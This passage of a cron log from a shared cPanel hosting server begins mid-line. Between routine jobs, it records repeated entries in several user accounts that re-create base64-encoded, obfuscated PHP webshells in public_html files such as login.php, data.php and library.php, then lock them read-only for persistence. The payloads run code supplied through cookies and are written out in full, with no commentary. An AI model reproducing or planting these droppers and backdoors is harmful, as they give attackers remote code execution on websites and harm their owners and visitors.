JyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:13:01 medusa CROND[25447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:13:01 medusa CROND[25448]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:13:01 medusa CROND[25451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:13:01 medusa CROND[25457]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:13:01 medusa CROND[25500]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:13:01 medusa CROND[25501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:13:01 medusa CROND[25502]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:13:01 medusa CROND[25505]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:13:01 medusa CROND[25504]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:13:01 medusa CROND[25503]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:14:01 medusa CROND[30220]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:14:02 medusa CROND[30279]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:14:02 medusa CROND[30371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:14:02 medusa CROND[30372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:14:02 medusa CROND[30373]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:14:02 medusa CROND[30375]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:14:02 medusa CROND[30376]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:14:02 medusa CROND[30377]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:14:02 medusa CROND[30374]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:14:02 medusa CROND[30378]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:14:02 medusa CROND[30380]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:14:02 medusa CROND[30381]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:14:02 medusa CROND[30387]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:15:01 medusa CROND[5503]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:15:01 medusa CROND[5566]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:15:01 medusa CROND[5607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:15:01 medusa CROND[5609]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:15:01 medusa CROND[5608]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:15:01 medusa CROND[5610]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:15:02 medusa CROND[5611]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 02:15:02 medusa CROND[5617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:15:02 medusa CROND[5618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
